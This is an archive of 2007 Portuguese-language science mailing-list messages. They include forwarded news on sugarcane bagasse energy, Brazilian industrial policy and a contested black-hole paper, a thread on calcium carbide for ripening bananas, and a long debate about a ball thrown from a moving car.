Hoje, praticamente todas as usinas de álcool e açúcar geram energia para o seu próprio consumo, mas somente 10% delas (de um total de 350 unidades) comercializam excedente no mercado. Portanto, a negociação desse excedente soma ao redor de 1,7 mil MW. A região de Ribeirão Preto (SP), maior pólo produtor de cana do país, responde por 35% da co-geração a partir do bagaço, afirma Eduardo de Amorin, diretor regional da Federação das Indústrias do Estado de São Paulo (Fiesp), em Ribeirão. "Há um potencial de clientes que podem comprar energia das usinas na própria região."

Mas apesar das entusiasmadas projeções, muitos agentes do setor ainda carregam dúvidas. Uma delas, por exemplo, diz respeito a sazonalidade da matéria-prima, já que o bagaço de cana somente é obtido no período da safra que ocorre entre maio e novembro de cada ano. Outra é mais filosófica e procura entender o real posicionamento dos usineiros a respeito da geração de energia.

A julgar pelos últimos movimentos no setor sucroalcooleiro, contudo, a energia originada do bagaço de cana tem tudo para ser definitiva. Primeiro, porque há uma percepção por parte dos usineiros de que a geração de energia a partir da cana não é mais um subproduto e sim uma terceira fonte de negócios. Tanto que as novas usinas de álcool e açúcar já adotam caldeiras maiores que geram mais vapor com a mesma quantidade de bagaço. E o movimento é tão forte que também atinge antigas usinas, que já procuram remodernizar seu parque fabril. Além disso, há ações quanto a estocagem do bagaço, o que na prática eliminaria a sazonalidade e daria mais garantia de geração ao longo de todo o ano.

Silvestrin lembra que a sazonalidade da safra não é um problema. "O pico da produção de cana coincide com o período de seca das hidrelétricas. As usinas entregam um volume maior de energia durante a safra [maio a dezembro] e o sistema complementa durante a entressafra [janeiro a abril]", diz.

Um bom exemplo é a Crystalsev. Empresa que negocia a produção de açúcar e álcool de nove usinas paulistas, a Crystalsev afirma que vai investir R$ 500 milhões para aumentar a sua geração de energia a partir do bagaço em mais 500 MW nos próximos cinco anos.

Atualmente, a Crystalsev já negocia seu excedente, que é de 130 MW, volume suficiente para abastecer uma cidade como São José do Rio Preto (SP), com cerca de 400 mil habitantes, diz Celso Zanatto, gerente de comercialização de energia da empresa. Tanto é assim que a companhia negocia sua energia diretamente com os consumidores desde janeiro. "Temos um contrato de abastecimento de dois anos com a unidade de Jacareí (SP) da Rhodia", exemplifica.

[As partes desta mensagem que não continham texto foram removidas]


.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: *BR* Estudo de Coutinho e Ferraz de 1993 é a base da atual política industrial
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 25/06/2007 13:56





Estudo de Coutinho e Ferraz de 1993 é a base da atual política industrial

Chico Santos
Valor Econômico
25/6/2007

O presidente do Banco Nacional de Desenvolvimento Econômico e Social (BNDES), Luciano Coutinho, e o economista João Carlos Ferraz, primeiro nome escolhido por ele para integrar a diretoria do banco, coordenaram em 1993 a produção de extenso diagnóstico seguido de propostas, denominado "Estudo da Competitividade da Indústria Brasileira", sob encomenda do Ministério da Ciência e Tecnologia. As recomendações centrais do trabalho compõem a essência da política industrial do atual governo, implantada em março de 2004, mais de dez anos depois.

"A política de desenvolvimento competitivo da indústria brasileira não será eficaz se não tornar os setores difusores de progresso técnico capazes de contribuir para a modernização do parque industrial. A competitividade estrutural de toda a indústria depende da existência de um forte setor de bens de capital, incluindo a presença de um complexo eletrônico com grau de desenvolvimento compatível com os requisitos de modernização da indústria na atualidade, e da disponibilidade de insumos da química fina e da biotecnologia adequados às especificações locais", diz a abertura das proposições do trabalho de 320 páginas.

A política industrial do governo Lula, que tem no BNDES o seu principal instrumento financeiro, prioriza justamente os segmentos de software, de semicondutores (ambos do complexo eletrônico), de fármacos (química fina) e de bens de capital (máquinas e equipamentos).

O documento, uma parceria com vários órgãos, liderados pela Universidade Estadual de Campinas (Unicamp), de Coutinho, e pela Universidade Federal do Rio de Janeiro (UFRJ), de Ferraz (hoje na Cepal, Comissão Econômica para a América Latina e o Caribe), afirma que "a proposta básica é que se busque excelência internacional em linhas de produtos onde exista potencial de demanda, vantagens de proximidade com os clientes e capacitação mínima e, a partir dessa base, evoluir alavancando competitividade para produtos afins".

Produzido em um momento muito diverso da economia brasileira, com o país ainda mergulhado no espiral inflacionário, ao mesmo tempo em que tentava consolidar e corrigir os excessos da política de abertura comercial iniciada em 1990, o estudo ainda trabalha com condicionantes hoje superadas, como a das privatizações, naquele momento em fase inicial. Apesar disso, já profetiza fatos, apontando os efeitos danosos da Zona Franca de Manaus sobre a difusão pelo resto do país de setores industriais de ponta: "A implantação da indústria de bens eletrônicos de consumo na Zona Franca de Manaus destruiu por completo a indústria então existente no restante do país e ainda hoje cria obstáculos sérios para uma política adequada para o complexo eletrônico", diz o texto.

Após alertar para a persistência de ameaças a outros setores, caso a Superintendência da Zona Franca de Manaus (Suframa) "continue a tentar criar vantagens comparativas artificiais", o item sobre o tema da Zona Franca conclui: "No setor de equipamentos de telecomunicações, por exemplo, a questão vem assumindo destaque, embora este seja um setor com condições de desenvolvimento competitivo sem o apoio maciço de subsídios, como seria o caso de sua transferência completa para a Zona Franca". A transferência, de fato, ocorreu quase que inteiramente, principalmente no que se refere a aparelhos de telefonia celular e fixa.

O trabalho destaca a posição do BNDES como "a única fonte no país de recursos em condições adequadas à viabilização de investimentos" e sugere iniciativas em grande parte tomadas nos últimos tempos, como a ampliação dos limites de financiamento para setores prioritários. Escrito em um período no qual o papel empresarial do Estado brasileiro era bem maior, o trabalho enfatiza a importância do uso do poder de compra do Estado, já ressaltando que essa importância não se extingue com a venda das empresas. "Mesmo que se amplie o processo de privatização nos serviços de infra-estrutura, o poder de regulação do Estado deverá ser mantido e, por conseguinte, o seu poder de indução ao aumento da competitividade dos seus fornecedores".

Embora naquele momento o grande dilema macroeconômico brasileiro fosse a superinflação, o documento ressalta temas hoje em evidência, como a taxa de câmbio e a taxa de juros, entre os "fatores sistêmicos" (externos às empresas) determinantes da competitividade. O estudo coordenado por Coutinho e Ferraz foi a base para um livro com o mesmo título publicado pela Editora Papirus, da Unicamp. Segundo informações da editora, foram publicadas quatro edições de 1995 a 2002, todas esgotadas.

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SUBJECT: Pedido de desculpas
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 16:32

Quero aqui manifestar meu pedido de desculpas, eu exagerei nas minhas
afirmações...

Obrigado

Amauri

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


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SUBJECT: Re: [ciencialist] Fw: *BR* Estudo de Coutinho e Ferraz de 1993 é a base da atual política industrial
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 25/06/2007 18:48

Quando vai aprender que isso não é pertinente ao C-List?
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Luiz Ferraz Netto [Léo]
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De: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Enviada em: segunda-feira, 25 de junho de 2007 13:56
Assunto: [ciencialist] Fw: *BR* Estudo de Coutinho e Ferraz de 1993 é a base da atual política industrial






Estudo de Coutinho e Ferraz de 1993 é a base da atual política industrial

Chico Santos
Valor Econômico
25/6/2007

O presidente do Banco Nacional de Desenvolvimento Econômico e Social (BNDES), Luciano Coutinho, e o economista João Carlos Ferraz, primeiro nome escolhido por ele para integrar a diretoria do banco, coordenaram em 1993 a produção de extenso diagnóstico seguido de propostas, denominado "Estudo da Competitividade da Indústria Brasileira", sob encomenda do Ministério da Ciência e Tecnologia. As recomendações centrais do trabalho compõem a essência da política industrial do atual governo, implantada em março de 2004, mais de dez anos depois.

"A política de desenvolvimento competitivo da indústria brasileira não será eficaz se não tornar os setores difusores de progresso técnico capazes de contribuir para a modernização do parque industrial. A competitividade estrutural de toda a indústria depende da existência de um forte setor de bens de capital, incluindo a presença de um complexo eletrônico com grau de desenvolvimento compatível com os requisitos de modernização da indústria na atualidade, e da disponibilidade de insumos da química fina e da biotecnologia adequados às especificações locais", diz a abertura das proposições do trabalho de 320 páginas.

A política industrial do governo Lula, que tem no BNDES o seu principal instrumento financeiro, prioriza justamente os segmentos de software, de semicondutores (ambos do complexo eletrônico), de fármacos (química fina) e de bens de capital (máquinas e equipamentos).

O documento, uma parceria com vários órgãos, liderados pela Universidade Estadual de Campinas (Unicamp), de Coutinho, e pela Universidade Federal do Rio de Janeiro (UFRJ), de Ferraz (hoje na Cepal, Comissão Econômica para a América Latina e o Caribe), afirma que "a proposta básica é que se busque excelência internacional em linhas de produtos onde exista potencial de demanda, vantagens de proximidade com os clientes e capacitação mínima e, a partir dessa base, evoluir alavancando competitividade para produtos afins".

Produzido em um momento muito diverso da economia brasileira, com o país ainda mergulhado no espiral inflacionário, ao mesmo tempo em que tentava consolidar e corrigir os excessos da política de abertura comercial iniciada em 1990, o estudo ainda trabalha com condicionantes hoje superadas, como a das privatizações, naquele momento em fase inicial. Apesar disso, já profetiza fatos, apontando os efeitos danosos da Zona Franca de Manaus sobre a difusão pelo resto do país de setores industriais de ponta: "A implantação da indústria de bens eletrônicos de consumo na Zona Franca de Manaus destruiu por completo a indústria então existente no restante do país e ainda hoje cria obstáculos sérios para uma política adequada para o complexo eletrônico", diz o texto.

Após alertar para a persistência de ameaças a outros setores, caso a Superintendência da Zona Franca de Manaus (Suframa) "continue a tentar criar vantagens comparativas artificiais", o item sobre o tema da Zona Franca conclui: "No setor de equipamentos de telecomunicações, por exemplo, a questão vem assumindo destaque, embora este seja um setor com condições de desenvolvimento competitivo sem o apoio maciço de subsídios, como seria o caso de sua transferência completa para a Zona Franca". A transferência, de fato, ocorreu quase que inteiramente, principalmente no que se refere a aparelhos de telefonia celular e fixa.

O trabalho destaca a posição do BNDES como "a única fonte no país de recursos em condições adequadas à viabilização de investimentos" e sugere iniciativas em grande parte tomadas nos últimos tempos, como a ampliação dos limites de financiamento para setores prioritários. Escrito em um período no qual o papel empresarial do Estado brasileiro era bem maior, o trabalho enfatiza a importância do uso do poder de compra do Estado, já ressaltando que essa importância não se extingue com a venda das empresas. "Mesmo que se amplie o processo de privatização nos serviços de infra-estrutura, o poder de regulação do Estado deverá ser mantido e, por conseguinte, o seu poder de indução ao aumento da competitividade dos seus fornecedores".

Embora naquele momento o grande dilema macroeconômico brasileiro fosse a superinflação, o documento ressalta temas hoje em evidência, como a taxa de câmbio e a taxa de juros, entre os "fatores sistêmicos" (externos às empresas) determinantes da competitividade. O estudo coordenado por Coutinho e Ferraz foi a base para um livro com o mesmo título publicado pela Editora Papirus, da Unicamp. Segundo informações da editora, foram publicadas quatro edições de 1995 a 2002, todas esgotadas.

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SUBJECT: Re: [ciencialist] Fw: *BR* Bagaço de cana pode adicionar uma usina do Madeira ao setor
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>
DATE: 25/06/2007 18:48

Quando vai aprender que isso não é pertinente ao C-List?
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>; <redeliberal@yahoogrupos.com.br>
Enviada em: segunda-feira, 25 de junho de 2007 13:53
Assunto: [ciencialist] Fw: *BR* Bagaço de cana pode adicionar uma usina do Madeira ao setor






Bagaço de cana pode adicionar uma usina do Madeira ao setor




SUBJECT: Carbureto e Bananas; quem me help ?
FROM: "Luiz Eduardo" <lercarvalho@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 19:24

Parece que no CEASA usam carbureto para amadurecer bananas. Não estou muito seguro disso. Nem de como isso poderia se transformar em etileno... este sim um agente influente na fisiologia pos-colheita.

Quem pode me ajudar ?

Talvez o Ferrari ?

L.E.

Status: Pergunta solucionada por votação k
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Em primeiro lugar, não é "carboreto", mas sim carbUreto ou carbeto.
Ele era utilizado, em soldas oxi-acetilênicas, para a produção do acetileno. Normalmente, o carbureto de cálcio, em reação com a água.
A reação é:

CaC2 + H2O ==> C2H2 + CaO.

É também usado em "lamparinas", chamadas de "gasômetros" (nome altamente impróprio), daquelas que o pessoal usa nos capacetes, pra entrar em grutas.
Pode ser encontrado em lojas que trabalhem com materiais para soldas oxi-acetilênicas.
Se bem que, hoje em dia, já se compra o acetileno em garrafas.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Carbureto e Bananas; quem me help ?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 21:23

O carbureto reage com água liberando gás acetileno (q tem capacidade
de apressar o processo de amadurecimento de frutos - embora com menor
eficiência do q o etileno). Por isso era bastante usado (e ainda
continua sendo) nas lanternas de espeleólogos.

CaC2 + 2H2O -> Ca(OH)2 + HC<tripla>CH

Se é usado para amadurecimento de bananas não sei - é tão fácil
promover o amadurecimento (o problema é impedi-lo).

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Eduardo"
> Parece que no CEASA usam carbureto para amadurecer bananas. Não
> estou muito seguro disso. Nem de como isso poderia se transformar em
> etileno... este sim um agente influente na fisiologia pos-colheita.
>
> Quem pode me ajudar ?
>
> Talvez o Ferrari ?
>
> L.E.




SUBJECT: Re: [ciencialist] Mapa e território
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 21:29

São opiniões em contraponto como essas abaixo que demonstram a importância
do diálogo limpo...
[]s
JR
..........................

From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 6:30 PM
Subject: Re: [ciencialist] Re: Mapa e território


> Fala Ferrari,
>
>>
>>A ciencia não tem nada a ver com
>> pressupostos nem com enganos. Isto é pro cientista. A
>> ciencia (em si) nunca erra, nunca se engana. Quem se
>> engana é o cientista. Não existe enganos na natureza,
>> graças ao território. Só existe engano na observação,
>> no mapa, na cabeça do cientista. Eis ai um pressuposto
>> fundamental, mas que grande partes dos fisicos
>> insistem em ignorar.
>>
>
> A ciência é que é mapa, e a natureza o território. A natureza é o que é,
> independente do que acreditamos ou desejamos que seja. Os cientistas vão
> tentando criar mapas da natureza (ciências) começando a rabiscá-los com
> observações, criando hipóteses (refutáveis) para tentar ligar alguns
> pontos,
> fazendo experimentos para verificar se o mapa está ficando bom (pra não
> dizer "correto") e depois, se as hipóteses passaram nos testes, podem
> tentar
> deduzir o resto do mapa (o que pode, ainda ser verificado novamente)... É
> tudo o que podemos fazer pra tentar entender a natureza... Que não foi
> feita
> para nós e, inclusive, existiu e continuará existindo sem nós.
>
> []´,s
> Jeff.
>
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> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.9.7/868 - Release Date: 25/6/2007
> 12:20
>
>



SUBJECT: Re: Carbureto e Bananas; quem me help ?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 21:35

SOME EFFECTS OF ACETYLENE ON THE RIPENING PROCESSES OF BANANAS (artigo
de 1931)
http://www.pubmedcentral.nih.gov/articlerender.fcgi?artid=440110

Mas como o carbureto é tóxico:

Calcium carbide poisoning via food in childhood.
http://linkinghub.elsevier.com/retrieve/pii/S0736467906006743

Alguns países proíbem o uso (a UE não importa frutos q tenham sido
amadurescidos com carbureto ou com etileno).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 22:04

Olá, Ricardo!
Balancé, anarrié, camindaroça....
Ainda com o som do forró pé-de-serra nos ouvidos, faço comentário no corpo
do e-mail, após JR2 -, OK?
................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, June 22, 2007 8:13 PM
Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados

> JR1 - Sua análise está incompleta. A bola ao ser lançada está com
> velocidade teórica zero em relação ao chão.

Não acho. Seria altamente improvável conseguir tal precisão com um carro e
um lançador. A velocidade prática dificilmente será zero (como já lembrei
antes, isso não é um problema teórico, mas a análise de uma situação real).
Você acha que é zero e respeito. Eu acho que não é. E, na realidade, não
teremos como saber se realmente era ou não, no vídeo. Então vou considerar
as duas possibilidades, ok? (mesmo altamente improvável a velocidade zero
mencionada).
JR2 - Bem ponderado... De acordo.

> Com o empuxo do vento de arraste do carro ela adquire aceleração e, quando
> toca no chão já está acelerada.

Existe sim, realmente, uma pequena velocidade para a bola, após o
lançamento. Pela sua opinião, que estou considerando, o empuxo do vento é o
responsável. Pela minha, a bola já possui esta velocidade quando é lançada
(devido à pequena diferença de velocidades entre o carro e o lançamento).
Novamente, não teremos como chegar a uma conclusão aqui, mas não acho que
precisemos. O que importa é o que acontece após o contato com o chão.
Pessoalmente, acho que o empuxo do ar atrás do carro não seria suficiente
para acelerar a bola, mas como não tenho certeza, ficamos com duas
possibilidades.
JR2 - As possibilidades do movimento da bola não ser vertical na primeira
trajetória após o lançamento já foram elencadas de forma satisfatória e,
acredito, que todas são factíveis, desde que a premissa do problema não seja
verdadeira, isto é, a velocidade do carro na hora do lançamento não é igual
a velocidade da bola lançada.

> Inferir que é a rotação da bola que aumenta a velocidade dela
> ao tocar o chão vc pode.
> Mas é apenas um palpite, visto que o vídeo não tem boa definição que
> permita um cálculo preciso, como vimos na plotagem que takata fez.

Neste ponto discordo. Veja, existe uma grande diferença de velocidade
lateral, antes e após o contato com o chão. É visualmente perceptível,
concorda? Não precisamos de nenhum cálculo aqui.
JR2 - Existe um aumento significativo da bola ao quicar pela primeira vez na
pista... Verdade. O que provoca isso? São diversas as possibilidades:
rotação na bola, empuxo do vento, pista irregular, pedregulho na pista... A
única possibilidade que não pode ser negada é o empuxo do vento provocado
pelo carro. As demais são ilações não verificáveis...

> O que vc não pode negar é que o vento, provocado pelo deslocamento
> do carro, promove a aceleração horizontal da bola para a esquerda a partir
> do lançamento.

Pode ser que o vento possa ter provocado o deslocamento ou não. Eu acho que
não posso negar na mesma medida que você não pode afirmar. Infelizmente não
teremos como saber, a não ser que, através de cálculos ou experimentação,
possamos verificar as condições presentes no vídeo.
JR2 - Eis o ponto! Eu posso afirmar que o empuxo provoca uma aceleração da
bola, mas não posso afirmar que a bola se deslocou com maior velocidade para
a esquerda porque ela possuia uma alta rotação adquirida na hora do
lançamento... Isso é apenas suposição. Uma possibilidade não comprovável,
apenas imaginada e lógica... Mas não comprovada pelo vídeo apresentado.

> A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
> apresentado. E, aliás, nem é realmente importante. A única observação
> importante, neste caso, é a de que o grande movimento adquirido após o
> contato com o chão não pode ter sido causado pelo vácuo, senão aconteceria
> antes deste contato.
>
> JR1 - Análise claudicante e autista...

Totalmente desnecessário seu comentário...

> A medida da velocidade da bola, um dos dois dados fundamentais do problema
> já não é importante... A inclinação da bola para a esquerda já é visível
> na primeira trajetória após o lançamento. Essa força de empuxo horizontal
> somada à componente vertical gravitacional promove o deslocamento mais
> acentuado após quicar no chão.
>
> Se ela estivesse em um tubo bem longo instalado no carro e mantivesse a
> velocidade do lançamento de 100km/h ela continuaria praticamente parada em
> relação ao solo... Como o avião.

> Seria difícil conseguir este nível de precisão para as duas velocidades.
> Mas o fato do deslocamento ainda no ar ser muito pequeno, mostra que
> chegaram bem perto disso. Foi bastante satisfatório o experimento, ao meu
> ver.
>
> JR1 - Se o deslocamento da bola fosse para a direita na primeira
> trajetória antes de tocar o chão poderíamos afirmar sem dúvida que as
> velocidades não eram iguais.

Ok, não podemos afirmar, sem dúvida, que as velocidades não eram iguais. Da
mesma forma que não podemos afirmar, sem dúvida, que eram.
JR2 - Muito sensata sua onclusão...

> No caso em questão em que a bola se inclina para a esquerda no primeiro
> trajeto ao chão, considerar o efeito de rotação da bola como impulcionador

> após o toque no chão é apenas um exercício de imaginação.

Se não for a rotação, então precisamos de outro culpado. Apresente outra
teoria, que poderemos discutir. O vento não se aplica, pois não faz sentido
que ele gere uma maior velocidade para a esquerda após o contato com o chão.
Precisamos de uma força que atue no momento, ou a partir do momento do toque
no chão. A rotação da bola se encaixa neste requisito, como talvez alguma
outra força que estejamos esquecendo de considerar. O empuxo gerado pelo
carro não atende ao requisito.
JR2 - Bem ponderada conclusão... Desse modo sabemos que efetivamente o carro
se deslocando a 100km/h promove um empuxo na bola. Mas não sabemos o que
provoca o aumento de aceleração da bola ao quicar no chão pela primeira vez.
Suposições prováveis: rotação da bola, pista irregular, pedregulho sobre a
pista...

> Seria um evento que até poderia ocorrer, mas não justificaria a inclinação
> para a esquerda no primeiro trajeto ao chão.

Realmente não. Para mim isso é causado pela diferença de velocidades, como
já disse. Mas estou aberto às duas possibilidades.
JR2 - Essa é a diferença. Eu também vejo várias possibilidades como as acima
indicadas, mas só uma é possivel de ser afirmada: o empuxo do vento na bola.
O que provoca a aceleração ao tocar na pista fica no terreno da
especulação... Lógica, mas não comprovada.

> JR1 - Só espero que vc e outros não usem de renancalheirismo e, depois de
> cairem na real, venham dizer que sabiam disso deeessde o início e que só
> estavam discordando de bricadeirinha! Takata já indicou algo preocupante
> em seu último comentário: deixa essa questão dos referenciais de medições
> para Homero e outros se divertirem comigo. Por favor, não nos decepcionem!

Eu não me importarei, de maneira nenhuma, de assumir que estava errado, ou
que você estava certo, se for esse o caso.
Inclusive concordo que possa haver uma influência do vento na trajetória
inicial, apesar de achar pouco provável.

Mas, até o momento, continuo afirmando (baseado em argumentos claros) que
acredito ser a rotação da bola a responsável pelo movimento relevante,
adquirido após o contato com o chão. Pode ser outra a causa, e estou aberto
a estudar e debater o caso, e eventualmente mudar minha posição, caso se
justifique.
JR2 - Creio que chegamos a um final. O que tentei mostrar é a diferença
entre especular possibilidades e comprovar eventos.

E, sem dúvida, discordo (baseado em argumentos claros) da sua abordagem do
avião. Esta sim, considero que tem erros graves em conceitos básicos.
JR2 - Apesar do desvio de foco, este problema têm os mesmos componentes do
referente ao avião sobre a esteira. Basta considerar que o carro tem uma
carroceria tão grande quanto a correia e a bola se mantenha impulsionada por
si mesma, mesmo após o lançamente, se deslocando com a velocidade do carro.
A velocidade do carro será medida com referencial na pista-chão e a
velocidade da esteira com o referencial do carro-lançador. Igualzinho ao que
ocorre nesse problema apresentado pelo vídeo.

Um cordial abraço,
Ricardo

Abraços
José Renato
.........................................



SUBJECT: Buraco negro não existe
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <paucor@superig.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 25/06/2007 22:10

transcrevo do JC.


Buraco negro não existe, diz trio de físicos dos EUA

Pesquisadores propõem solução para enigma elaborado por Stephen Hawking. Estudo é debatido há um ano e passou pelo crivo de publicação rigorosa; autor diz que pode testar idéia em acelerador de partículas

Rafael Garcia escreve para a "Folha de SP":

Um trio de físicos está propondo uma solução inusitada para um enigma que desafia a ciência há mais de 30 anos.

Tanto a elaboração do problema quanto a solução oferecida são bastante complexos, mas o resultado final de tudo pode ser resumido de maneira simples: buracos negros não existem.

A alegação, afirmam seus autores, é a resposta para um enigma proposto pelo britânico Stephen Hawking, mais conhecido como autor do livro "Uma Breve História do Tempo", portador de uma doença neurológica que o deixou paralisado.

A inexistência dos buracos negros foi proposta por grupo de físicos da Universidade Case, de Cleveland (EUA), em um estudo que já está circulando há alguns meses entre a comunidade de físicos teóricos.

Só agora, porém, o trabalho foi aceito para publicação em uma revista com um crivo rigoroso, a "Physical Review D".

Com 15 páginas cheias de equações e diagramas, Dejan Stojkovic, Lawrence Krauss e Tanmay Vachaspati detalham a sua proposta de solução para o que os físicos conhecem como o "paradoxo da informação".

O problema está ligado à natureza dos buracos negros, objetos cósmicos tão maciços que sua gravidade captura tudo o que está em volta e não deixam escapar nada -nem mesmo a luz.

Segundo a concepção clássica, buracos negros são produzidos quando uma estrela maciça demais implode. Toda sua massa fica concentrada em um ponto de dimensão zero, chamado de "singularidade".

Nada que se aproxime além de uma certa fronteira, chamada de "horizonte de eventos", escapa à fome do mostro.

Morte impossível

O problema é que esse conceito entra em conflito com a física quântica, conforme o paradoxo proposto por Hawking em 1974. Segundo ele, um buraco negro não é um monstro imortal que só faz crescer.

Se esses objetos cósmicos ficarem muito tempo sem nada para engolir, eles acabam perdendo massa na forma de radiação e finalmente morrem.

O problema é que essa morte aniquilaria toda a informação contida na matéria engolida pelo buraco negro. Isso vai contra leis básicas da física quântica, segundo a qual a informação pode ser transformada, mas nunca aniquilada.

Ao propor que buracos negros não existem, o grupo de Krauss oferece uma solução para o enigma.

"Se estivermos corretos, nenhuma informação será perdida ao atravessar o horizonte de eventos de um buraco negro, porque esse horizonte jamais se formaria", disse Krauss à "Folha de SP".

"Nós tivemos um bocado de discussão com muitos colegas, e muitos deles estão céticos, mas até agora ninguém conseguiu oferecer uma razão definitiva pela qual isso não esteja correto."

Apesar aceito pela "Phisical Review", porém, o novo estudo ainda deve passar pelo crivo da comunidade científica para deixar de ser tido como proposta intelectualmente isolada.

Segundo o físico Daniel Vanzella, professor da USP de São Carlos, não é a primeira vez que alguém postula a inexistência de buracos negros.

Mas, na maioria das vezes em que isso ocorreu num passado recente, físicos não demoraram a encontrar erros em contas ou problemas de interpretação nos estudos.

"Na minha opinião, esse trabalho merece uma análise mais cautelosa", afirma. "Certamente a comunidade vai olhar com carinho e cuidado esse paper [estudo]."

O físico Marcelo Gleiser, professor do Dartmouth College (EUA) e colunista da "Folha de SP", classificou o novo trabalho como "interessante" e "elegante", mas "inconclusivo".

"Talvez seja um passo na direção certa, mas falta muito para se concluir se de fato não existe paradoxo de informação", afirmou. "Como todas as novas idéias em ciência, ainda é cedo para concluirmos algo de concreto."

Buraco mais embaixo

Como afinal de contas o grupo de Krauss (também conhecido com autor de livros de ciência para leigos, como "A física de Jornada nas Estrelas") conseguiu "destruir" os buracos negros? E que são, afinal, os objetos escuros e maciços que os astrônomos acreditam ser buracos negros?

"Estamos propondo que objetos colapsados que parecem ser buracos negros nascentes, na verdade, não vão se contrair além de seus próprios horizontes de eventos, e portanto não se tornarão buracos negros verdadeiros", diz Krauss.

Segundo ele, a matéria concentrada no local evaporaria toda na forma de radiação, assim como Hawking previu, só que antes de o buraco negro se formar. O que existiria, então, é uma espécie de "quase-buraco negro".

"Mas nossos resultados são mesmo sugestivos, não conclusivos", afirma o físico americano. "Mandamos o artigo para o Stephen [Hawking], mas ele ainda não respondeu."

Segundo Gleiser, um dos problemas de extrair muitas interpretações do novo artigo é que os autores usam um modelo matemático "muito idealizado" para descrever o colapso de um estrela, um fenômeno extremamente complexo.

"Uma estrela é maciça, e eles pegam um sistema muito mais simples que isso, que é como se fosse uma casca esférica colapsando", diz Vanzella.

Além da simplificação, Krauss interpretou seus cálculos da perspectiva de um observador externo, para solucionar um problema ligado à teoria da relatividade.

"Um observador longe de um objeto em colapso o veria "congelar" à medida que começasse a se aproximar do limite de se tornar um buraco negro", explica.

"O relógio de um observador externo anda num ritmo diferente daquele de alguém que está caindo lá."

Segundo os autores, a conclusão poderá ser testada no LHC, o mega-acelerador de partículas a ser inaugurado em 2008. Essa maquina será capaz de produzir minúsculos buracos negros (ou o que quer que sejam).

O tipo de radiação que emitirem revelará o que são.
(Folha de SP, 23/6)



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 22:12

Olá, André! Veja comentários no corpo do e-mail, após JR - ...
.........................................

From: "André L F S Bacci" <andrebacci.listas@To:
<ciencialist@yahoogrupos.com.br>
Sent: Friday, June 22, 2007 7:24 PM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


On 6/22/07, José Renato <jrma@terra.com.br> wrote:
> Takata: [ Como eu disse, se fosse pelo vento os arcos NÃO seriam
> simétricos. ]
> ..................................................
>
> Discordo. O empuxo do vento sobre a bola ocorre em maior intensidade
> quando
> ela é lançada e está na altura do lançador instalado no carro, e se dilui
> rapidamente.

Partindo desse principio, o arco inicial deveria ser maior ou menor
que o segundo arco. Não apenas um sim ou não, mas em um valor
percentual (não precisa ser exato).
JR - Menor.

Posto de outra forma. Se a força que impulsiona a bola a frente
diminui rapidamente, pode o segundo arco ser 10 vezes maiores que o
primeiro?
JR - Não.

> A aceleração maior é proporcionada à bola nos instantes da
> primeira trajetória em que ela cai ao chão após lançada. Isso é percebido
> no
> filme pela inclinação da trajetória de queda para a esquerda. As
> diferenças
> de velocidades entre a bola e o carro certamente deveria ser considerada
> se
> a inclinação da primeira trajetória fosse para a direita.

Porque não deveria ser considerada se a bola caísse pra esquerda ou mesmo
reta ?
JR - Por seria apenas uma possibilidade não comprovável, enquanto que se
fosse para a direita *certamente* haveria diferença de velocidades.

> Quanto ao efeito
> da rotação da bola em si própria só ocorreria após quicar no chão e não
> antes.

